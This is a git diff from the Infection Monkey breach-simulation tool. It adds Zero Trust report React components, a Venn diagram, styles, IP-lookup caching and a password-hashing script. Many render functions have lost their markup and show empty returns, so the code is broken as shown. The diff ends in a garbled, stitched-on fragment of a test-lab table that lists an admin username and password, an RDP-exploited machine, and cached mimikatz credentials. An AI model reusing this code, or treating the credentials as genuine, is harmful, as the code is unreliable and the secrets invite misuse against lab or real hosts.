    ; + } +} + +export default ZeroTrustReportLegend; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js new file mode 100644 index 000000000..8e4512ac7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js @@ -0,0 +1,37 @@ +import AuthComponent from "../../AuthComponent"; +import PillarLabel from "./PillarLabel"; +import PrinciplesStatusTable from "./PrinciplesStatusTable"; +import React from "react"; +import * as PropTypes from "prop-types"; +import {Panel} from "react-bootstrap"; + +export default class SinglePillarPrinciplesStatus extends AuthComponent { + render() { + if (this.props.principlesStatus.length === 0) { + return null; + } + else { + return ( + + + +

    + +

    +
    +
    + + + + + +
    + ); + } + } +} + +SinglePillarPrinciplesStatus.propTypes = { + principlesStatus: PropTypes.array, + pillar: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js new file mode 100644 index 000000000..028ca7d89 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -0,0 +1,37 @@ +import React, {Component} from "react"; +import * as PropTypes from "prop-types"; + +const statusToIcon = { + "Passed": "fa-check", + "Verify": "fa-exclamation-triangle", + "Failed": "fa-bomb", + "Unexecuted": "fa-question", +}; + +export const statusToLabelType = { + "Passed": "label-success", + "Verify": "label-warning", + "Failed": "label-danger", + "Unexecuted": "label-default", +}; + +export default class StatusLabel extends Component { + render() { + let text = ""; + if (this.props.showText) { + text = " " + this.props.status; + } + + return ( +
    + {text} +
    + ); + } +} + +StatusLabel.propTypes = { + status: PropTypes.string, + showText: PropTypes.bool, + size: PropTypes.string +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js new file mode 100644 index 000000000..d34a484b9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -0,0 +1,37 @@ +import React, {Component, Fragment} from "react"; +import PillarLabel from "./PillarLabel"; +import StatusLabel from "./StatusLabel"; +import * as PropTypes from "prop-types"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; + +export default class StatusesToPillarsSummary extends Component { + render() { + return (
    + {this.getStatusSummary(ZeroTrustStatuses.failed)} + {this.getStatusSummary(ZeroTrustStatuses.verify)} + {this.getStatusSummary(ZeroTrustStatuses.passed)} + {this.getStatusSummary(ZeroTrustStatuses.unexecuted)} +
    ); + } + + getStatusSummary(status) { + if (this.props.statusesToPillars[status].length > 0) { + return +

    + +

    +
    + { + this.props.statusesToPillars[status].map((pillar) => { + return + }) + } +
    +
    + } + } +} + +StatusesToPillarsSummary.propTypes = { + statusesToPillars: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js new file mode 100644 index 000000000..e4012bf50 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -0,0 +1,40 @@ +import React, {Component} from "react"; +import {Col, Grid, Row} from "react-bootstrap"; +import MonkeysStillAliveWarning from "../common/MonkeysStillAliveWarning"; +import PillarsOverview from "./PillarOverview"; +import ZeroTrustReportLegend from "./ReportLegend"; +import * as PropTypes from "prop-types"; + +export default class SummarySection extends Component { + render() { + return
    +

    Summary

    + + +
    + +

    + Get a quick glance at how your network aligns with the + Zero Trust eXtended (ZTX) framework + . +

    + + + +
    + + + + + + + + + } +} + +SummarySection.propTypes = { + allMonkeysAreDead: PropTypes.bool, + pillars: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js new file mode 100644 index 000000000..dd2a55865 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js @@ -0,0 +1,18 @@ +export const ZeroTrustPillars = { + data: "Data", + people: "People", + network: "Networks", + workload: "Workload", + devices: "Devices", + visibility: "Visibility & Analytics", + automation: "Automation & Orchestration" +}; + +export const ZeroTrustStatuses = { + failed: "Failed", + verify: "Verify", + passed: "Passed", + unexecuted: "Unexecuted" +}; + +export default ZeroTrustPillars; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store new file mode 100644 index 000000000..344923cf9 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store differ diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js new file mode 100644 index 000000000..aee1fb7f2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js @@ -0,0 +1,65 @@ +import React from 'react' +import PropTypes from 'prop-types'; +import {Popover, OverlayTrigger} from 'react-bootstrap'; +import * as d3 from 'd3' + +class ArcNode extends React.Component { + render() { + let {prefix, index, data} = this.props; + + let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0); + let id = prefix + 'Node_' + index; + + return ( + + {data.tooltip}} rootClose> + + + + + {data.icon + '\u2000'} + {data.label} + + + + ); + } + + + handleClick(e_) { + this.props.disableHover(this.refs.overlay); + } + + handleOver(e_) { + if (this.props.hover) { + this.refs.overlay.show(); + } + } + + handleOut(e_) { + if (this.props.hover) { + this.refs.overlay.hide(); + } + } +} + +ArcNode.propTypes = { + data: PropTypes.object +}; + +export default ArcNode; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js new file mode 100644 index 000000000..5c84d95a5 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js @@ -0,0 +1,64 @@ +import React from 'react' +import PillarLabel from "../PillarLabel"; +import {Popover, OverlayTrigger} from 'react-bootstrap'; +import PropTypes from 'prop-types'; + +class CircularNode extends React.Component { + render() { + let {prefix, index, data} = this.props; + + let translate = 'translate(' + data.cx + ',' + data.cy + ')'; + return ( + + {data.tooltip}} rootClose> + + + + + + + ); + } + + + handleClick(e_) { + this.props.disableHover(this.refs.overlay); + } + + handleOver(e_) { + if (this.props.hover) { + this.refs.overlay.show(); + } + } + + handleOut(e_) { + if (this.props.hover) { + this.refs.overlay.hide(); + } + } + +} + +CircularNode.propTypes = { + index: PropTypes.number, + data: PropTypes.object +}; + +export default CircularNode; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js new file mode 100644 index 000000000..4b2069f06 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js @@ -0,0 +1,28 @@ +import React from 'react' +import PropTypes from 'prop-types' +import Dimensions from 'react-dimensions' +import VennDiagram from './VennDiagram' + +const VENN_MIN_WIDTH = '300px'; + +class ResponsiveVennDiagram extends React.Component { + constructor(props) { + super(props); + } + + render() { + const {pillarsGrades} = this.props; + + return ( +
    + +
    + ); + } +} + +ResponsiveVennDiagram.propTypes = { + pillarsGrades: PropTypes.array +}; + +export default Dimensions()(ResponsiveVennDiagram); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js new file mode 100644 index 000000000..fa9309506 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js @@ -0,0 +1,9 @@ +export class TypographicUtilities { + static removeAmpersand(string_) { + return string_.replace(' & ', 'And'); + } + + static removeBrokenBar(string_) { + return string_.replace(/\|/g, ' '); + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css new file mode 100644 index 000000000..dd4883125 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css @@ -0,0 +1,17 @@ +@import url('https://fonts.googleapis.com/css?family=Noto+Sans&display=swap'); + +body { + margin: 0; + font-family: "Noto Sans", sans-serif; +} + +svg { + + -webkit-touch-callout: none; /* iOS Safari */ + -webkit-user-select: none; /* Safari */ + -khtml-user-select: none; /* Konqueror HTML */ + -moz-user-select: none; /* Firefox */ + -ms-user-select: none; /* Internet Explorer/Edge */ + user-select: none; /* Non-prefixed version, currently supported by Chrome and Opera */ + +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js new file mode 100644 index 000000000..70304daad --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -0,0 +1,280 @@ +import React from 'react' +import PropTypes from 'prop-types' +import CircularNode from './CircularNode' +import ArcNode from './ArcNode' +import {TypographicUtilities} from './Utility.js' +import './VennDiagram.css' +import {ZeroTrustStatuses} from "../ZeroTrustPillars"; + +class VennDiagram extends React.Component { + constructor(props_) { + super(props_); + + this.state = {hover: true, currentPopover: undefined}; + this._disableHover = this._disableHover.bind(this); + + this.width = this.height = 512; + + this.prefix = 'vennDiagram'; + this.fontStyles = [{size: Math.max(9, this.width / 28), color: 'white'}, { + size: Math.max(6, this.width / 38), + color: 'white' + }, {size: Math.max(6, this.width / 48), color: 'white'}]; + this.offset = this.width / 16; + + this.thirdWidth = this.width / 3; + this.width11By2 = this.width / 5.5; + this.width2By7 = 2 * this.width / 7; + this.width1By11 = this.width / 11; + this.width1By28 = this.width / 28; + this.arcNodesGap = 4; + + this.layout = { + Data: {cx: 0, cy: 0, r: this.width11By2, offset: {x: 0, y: 0}, popover: 'top'}, + People: { + cx: -this.width2By7, + cy: 0, + r: this.width11By2, + offset: {x: this.width1By11 + this.fontStyles[1].size / 5 * 3, y: 0}, + popover: 'right' + }, + Networks: { + cx: this.width2By7, + cy: 0, + r: this.width11By2, + offset: {x: -this.width1By11 - this.fontStyles[1].size / 5 * 3, y: 0}, + popover: 'left' + }, + Devices: { + cx: 0, + cy: this.width2By7, + r: this.width11By2, + offset: {x: 0, y: -this.width1By11 + this.fontStyles[1].size / 6 * 3}, + popover: 'top' + }, + Workloads: { + cx: 0, + cy: -this.width2By7, + r: this.width11By2, + offset: {x: 0, y: this.width1By11}, + popover: 'bottom' + }, + VisibilityAndAnalytics: { + inner: this.thirdWidth - this.width1By28, + outer: this.thirdWidth, + icon: '\uf070', + popover: 'right' + }, + AutomationAndOrchestration: { + inner: this.thirdWidth - this.width1By28 * 2 - this.arcNodesGap, + outer: this.thirdWidth - this.width1By28 - this.arcNodesGap, + icon: '\uf085', + popover: 'right' + } + }; + + /* + + RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer + sum(C, I, P) has to be <=0 + + RULE #2: Failed [C] has to be > 0, + sum(C) > 0 + + RULE #3: Verify [I] has to be > 0 while Failed has to be 0, + sum(C, I) > 0 and C * I = 0, while C has to be 0 + + RULE #4: By process of elimination, passed. + if the P is bigger by 2 then negative U, first conditional + would be true. + */ + + this.rules = [ + + { + id: 'Rule #1', status: ZeroTrustStatuses.unexecuted, hex: '#777777', f: function (d_) { + return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.verify] + d_[ZeroTrustStatuses.passed] === 0; + } + }, + { + id: 'Rule #2', status: ZeroTrustStatuses.failed, hex: '#D9534F', f: function (d_) { + return d_[ZeroTrustStatuses.failed] > 0; + } + }, + { + id: 'Rule #3', status: ZeroTrustStatuses.verify, hex: '#F0AD4E', f: function (d_) { + return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.verify] > 0; + } + }, + { + id: 'Rule #4', status: ZeroTrustStatuses.passed, hex: '#5CB85C', f: function (d_) { + return d_[ZeroTrustStatuses.passed] > 0; + } + } + + ]; + + } + + componentDidMount() { + this.parseData(); + if (this.state.currentPopover !== undefined) { + this.state.currentPopover.show(); + } + } + + _disableHover(ref_) { + this.setState({hover: false, currentPopover: ref_, data: this.state.data}); + } + + _onMouseMove(e) { + + let self = this; + + let hidden = 'none'; + let html = ''; + let bcolor = '#DEDEDE'; + + if (this.state.currentPopover !== undefined) { + this.state.currentPopover.show(); + } + + document.querySelectorAll('circle, path').forEach((d_, i_) => { + d_.setAttribute('opacity', "0.8"); + }); + + if (e.target.id.includes('Node')) { + + e.target.setAttribute('opacity', 0.95); + + // Set highest z-index + e.target.parentNode.parentNode.appendChild(e.target.parentNode); + + } else { + + // Return z indices to default + Object.keys(this.layout).forEach(function (d_, i_) { + document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); + }) + } + + } + + _onClick(e) { + + if (!e.target.id.includes('Node')) { + + this.state.currentPopover.hide(); + this.setState({hover: true, currentPopover: undefined, data: this.state.data}); + } + } + + parseData() { + + let self = this; + let data = []; + const omit = (prop, {[prop]: _, ...rest}) => rest; + + this.props.pillarsGrades.forEach((d_, i_) => { + + let params = omit('pillar', d_); + let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_] || 0), 0); + let key = TypographicUtilities.removeAmpersand(d_.pillar); + let html = self.buildTooltipHtmlContent(params); + let rule = null; + + for (let j = 0; j < self.rules.length; j++) { + if (self.rules[j].f(d_)) { + rule = j; + break; + } + } + + self.setLayoutElement(rule, key, html, d_); + data.push(this.layout[key]); + + }); + + this.setState({hover: true, activePopover: undefined, data: data}); + this.render(); + } + + buildTooltipHtmlContent(object_) { + + return Object.keys(object_).map((key_, i_) => { + return (

    {key_}: {object_[key_]}

    ) + }) + } + + setLayoutElement(rule_, key_, html_, d_) { + + if (rule_ === null) { + console.log(Error('The node scores are invalid, please check the data or the rules set.')); + } + + if (key_ === 'Data') { + this.layout[key_].fontStyle = this.fontStyles[0]; + } else if (this.layout[key_].hasOwnProperty('cx')) { + this.layout[key_].fontStyle = this.fontStyles[1]; + } else { + this.layout[key_].fontStyle = this.fontStyles[2]; + } + + this.layout[key_].hex = this.rules[rule_].hex; + this.layout[key_].status = this.rules[rule_].status; + this.layout[key_].label = d_.pillar; + this.layout[key_].node = d_; + this.layout[key_].tooltip = html_; + } + + render() { + if (this.state.data === undefined) { + return null; + } else { + // equivalent to center translate (width/2, height/2) + let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height; + let nodes = Object.values(this.layout).map((d_, i_) => { + if (d_.hasOwnProperty('cx')) { + return ( + + ); + } else { + d_.label = TypographicUtilities.removeBrokenBar(d_.label); + return ( + + ); + } + }); + + return ( +
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} + onClick={this._onClick.bind(this)}> + + {nodes} + +
    + ) + } + } +} + +VennDiagram.propTypes = { + pillarsGrades: PropTypes.array +}; + +export default VennDiagram; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js new file mode 100644 index 000000000..74204973a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js @@ -0,0 +1,73 @@ +import '../../styles/Checkbox.scss' +import React from 'react'; + +class CheckboxComponent extends React.PureComponent { + + componentDidUpdate(prevProps) { + if (this.props.checked !== prevProps.checked) { + this.setState({checked: this.props.checked}); + } + } + + /* + Parent component can pass a name and a changeHandler (function) for this component in props. + changeHandler(name, checked) function will be called with these parameters: + this.props.name (the name of this component) and + this.state.checked (boolean indicating if this component is checked or not) + */ + constructor(props) { + super(props); + this.state = { + checked: this.props.checked, + necessary: this.props.necessary, + isAnimating: false + }; + this.toggleChecked = this.toggleChecked.bind(this); + this.stopAnimation = this.stopAnimation.bind(this); + this.composeStateClasses = this.composeStateClasses.bind(this); + } + + //Toggles component. + toggleChecked() { + if (this.state.isAnimating) {return false;} + this.setState({ + checked: !this.state.checked, + isAnimating: true, + }, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null}); + } + + // Stops ping animation on checkbox after click + stopAnimation() { + this.setState({ isAnimating: false }) + } + + // Creates class string for component + composeStateClasses(core) { + let result = core; + if (this.state.necessary){ + return result + ' blocked' + } + if (this.state.checked) { result += ' is-checked'; } + else { result += ' is-unchecked' } + + if (this.state.isAnimating) { result += ' do-ping'; } + return result; + } + + render() { + const cl = this.composeStateClasses('ui-checkbox-btn'); + return ( +
    + + +
    +
    + ) + } +} + +export default CheckboxComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js new file mode 100644 index 000000000..6ad124457 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js @@ -0,0 +1,7 @@ +import FileSaver from "file-saver"; + +export default function saveJsonToFile(dataToSave, filename) { + const content = JSON.stringify(dataToSave, null, 2); + const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); + FileSaver.saveAs(blob, filename + ".json"); +} diff --git a/monkey/monkey_island/cc/ui/src/images/notification-logo-512x512.png b/monkey/monkey_island/cc/ui/src/images/notification-logo-512x512.png new file mode 100644 index 000000000..387581858 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/notification-logo-512x512.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg new file mode 100644 index 000000000..507541be4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg @@ -0,0 +1 @@ +im-alert-machine-icon \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg new file mode 100644 index 000000000..50dcc6726 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg @@ -0,0 +1 @@ +im-alert-network-icon \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index b44fa4562..109f1c147 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -186,6 +186,10 @@ body { .nav-tabs > li > a { height: 63px } + +.nav > li > a:focus { + background-color: transparent !important; +} /* * Run Monkey Page */ @@ -516,6 +520,56 @@ body { } +/* Attack pages */ +.attack-matrix .messages { + margin-bottom: 30px; +} + +.attack-matrix { + margin-bottom: 20px; +} + +.attack-report .btn-collapse span:nth-of-type(2){ + flex: 0; +} + +.icon-info { + color: #ade3eb !important; +} + +.icon-warning { + color: #f0ad4e !important; +} + +.icon-danger { + color: #d9acac !important; +} + +.icon-default { + color: #e0ddde !important; +} + +.status-success { + color: #24b716 !important; +} + +.status-warning { + color: #b1a91c !important; +} + +.status-danger { + color: #d91016 !important; +} + +.status-default { + color: #575556 !important; +} + +.attack-legend { + text-align: center; + margin-bottom: 20px; +} + .version-text { font-size: 0.9em; position: absolute; @@ -525,3 +579,9 @@ body { margin-left: auto; margin-right: auto; } + +.attack-report.footer-text{ + text-align: right; + font-size: 0.8em; + margin-top: 20px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss new file mode 100644 index 000000000..3bf0281f6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss @@ -0,0 +1,105 @@ +// colors +$light-grey: #EAF4F4; +$medium-grey: #7B9EA8; +$dark-green: #007d02; +$green: #44CF6C; +$black: #000000; + +.ui-checkbox-btn { + position: relative; + display: inline-block; + background-color: rgba(red, .6); + text-align: center; + width: 100%; + height: 100%; + + input { display: none; } + + .icon, + .text { + display: inline-block; + color: inherit; + } + + .text { + padding-top: 4px; + font-size: 14px; + } + + // color states + &.is-unchecked { + background-color: transparent; + color: $black; + fill: $black; + } + + &.blocked { + background-color: $dark-green; + color: $light-grey; + fill: $light-grey; + } + + &.is-checked { + background-color: $green; + color: white; + fill: white; + } +} + +.icon { + position: relative; + display: inline-block; + + svg { + position: absolute; + top: 0; right: 0; bottom: 0; left: 0; + margin: auto; + width: 16px; + height: auto; + fill: inherit; + } + + .is-checked & { + color: white; + fill: white; + } +} + +// ping animation magic +.ui-btn-ping { + position: absolute; + top: 50%; + left: 50%; + width: 100%; + transform: translate3d(-50%, -50%, 0); // center center by default + + // set the square + &:before { + content: ''; + transform: scale(0, 0); // center center by default + transition-property: background-color transform; + transition-timing-function: cubic-bezier(0.0, 0.0, 0.2, 1); + display: block; + padding-bottom: 100%; + border-radius: 50%; + background-color: rgba(white, .84);; + } + + .do-ping &:before { + transform: scale(2.5, 2.5); + transition-duration: .35s; + background-color: rgba(white, .08); + } +} + +.icon-checked{ + color:$green +} + +.icon-mandatory{ + color:$dark-green +} + +.icon-unchecked{ + color:$black; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/Collapse.scss b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss new file mode 100644 index 000000000..e2d7d334a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss @@ -0,0 +1,96 @@ +$transition: 500ms cubic-bezier(0.4, 0.1, 0.1, 0.5); + +$danger-color: #d9acac; +$info-color: #ade3eb; +$default-color: #e0ddde; + +.collapse-item button { + font-size: inherit; + margin: 0; + padding: 1rem; + background: transparent; + border: 1px solid #ccc; + box-shadow: none; + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); +} + +.collapse-item button span:first-child{ + text-align:left; +} + +.collapse-item button { + width: 100%; + box-shadow: 0 2px 6px #ccc; + border: none; + transition: background-color $transition; + display: flex; + font-family: inherit; + > span { + display: inline-block; + flex: 4; + text-align: right; + + &:nth-child(2) { + flex: 3; + } + } +} + +.collapse-danger { + background-color: $danger-color !important; +} + +.collapse-info { + background-color: $info-color !important; +} + +.collapse-default { + background-color: $default-color !important; +} + +.collapse-item { + padding: 0.5rem; + &--active { + .btn-collapse { + background-color: #f7f7f7; + } + } +} + +.collapse-item .collapse-comp { + padding: 0 7px 7px 7px; + border: 2px solid rgb(232, 228, 228); + border-top: 0; + display:block !important; + transition: height $transition; + overflow: hidden; +} + +.collapse-item .content { + padding: 2rem 0; + transition: transform $transition; + will-change: transform; + $offset: 10px; + + &.collapsing { + transform: translateY(-$offset); + } + &.collapse-comp { + transform: translateY(-$offset); + } + &.expanding { + transform: translateX(0px); + } + &.expanded { + transform: translateX(0px); + } +} + +.collapse-item .text { + margin-bottom: 1rem; +} + +.collapse-item .state { + display: inline-block; + min-width: 6em; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/Tooltip.scss b/monkey/monkey_island/cc/ui/src/styles/Tooltip.scss new file mode 100644 index 000000000..7d2ff9d35 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/Tooltip.scss @@ -0,0 +1,8 @@ +$background: #000000; +$font: #fff; + +.react-tooltip-lite { + background: $background; + color: $font; + max-width: 400px !important; +} diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index b6f7d2dfa..7c56ccff2 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -18,6 +18,14 @@ module.exports = { 'css-loader' ] }, + { + test: /\.scss$/, + use: [ + 'style-loader', + 'css-loader', + 'sass-loader' + ] + }, { test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/, use: { diff --git a/monkey/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py index 9c49eba2c..cf59ae7df 100644 --- a/monkey/monkey_island/cc/utils.py +++ b/monkey/monkey_island/cc/utils.py @@ -6,6 +6,7 @@ import array import struct import ipaddress from netifaces import interfaces, ifaddresses, AF_INET +from ring import lru __author__ = 'Barak' @@ -46,9 +47,13 @@ else: # name of interface is (namestr[i:i+16].split('\0', 1)[0] finally: return result -# End of local ips function +# The local IP addresses list should not change often. Therefore, we can cache the result and never call this function +# more than once. This stopgap measure is here since this function is called a lot of times during the report +# generation. +# This means that if the interfaces of the Island machine change, the Island process needs to be restarted. +@lru(maxsize=1) def local_ip_addresses(): ip_list = [] for interface in interfaces(): @@ -57,6 +62,11 @@ def local_ip_addresses(): return ip_list +# The subnets list should not change often. Therefore, we can cache the result and never call this function +# more than once. This stopgap measure is here since this function is called a lot of times during the report +# generation. +# This means that if the interfaces or subnets of the Island machine change, the Island process needs to be restarted. +@lru(maxsize=1) def get_subnets(): subnets = [] for interface in interfaces(): diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index ff09c5761..ee66bb797 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -22,4 +22,8 @@ awscli cffi virtualenv wheel +mongoengine +mongomock requests +dpath +ring diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py new file mode 100644 index 000000000..159e0d098 --- /dev/null +++ b/monkey/monkey_island/scripts/island_password_hasher.py @@ -0,0 +1,23 @@ +""" +Utility script for running a string through SHA3_512 hash. +Used for Monkey Island password hash, see +https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection +for more details. +""" + +import argparse +from Crypto.Hash import SHA3_512 + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("string_to_sha", help="The string to do sha for") + args = parser.parse_args() + + h = SHA3_512.new() + h.update(args.string_to_sha) + print(h.hexdigest()) + + +if __name__ == '__main__': + main()
    2}p}aR]&=M
    Scan results:Machine exploited using RDP grinder
    Server’s config:

    Remote desktop enabled

    Admin user’s credentials:

    m0nk3y, 2}p}aR]&=M

    Notes:
    Server’s config:

    Has cashed mimikatz-15 RDP credentials

    +

    Has cached mimikatz-15 RDP credentials

    SMB turned on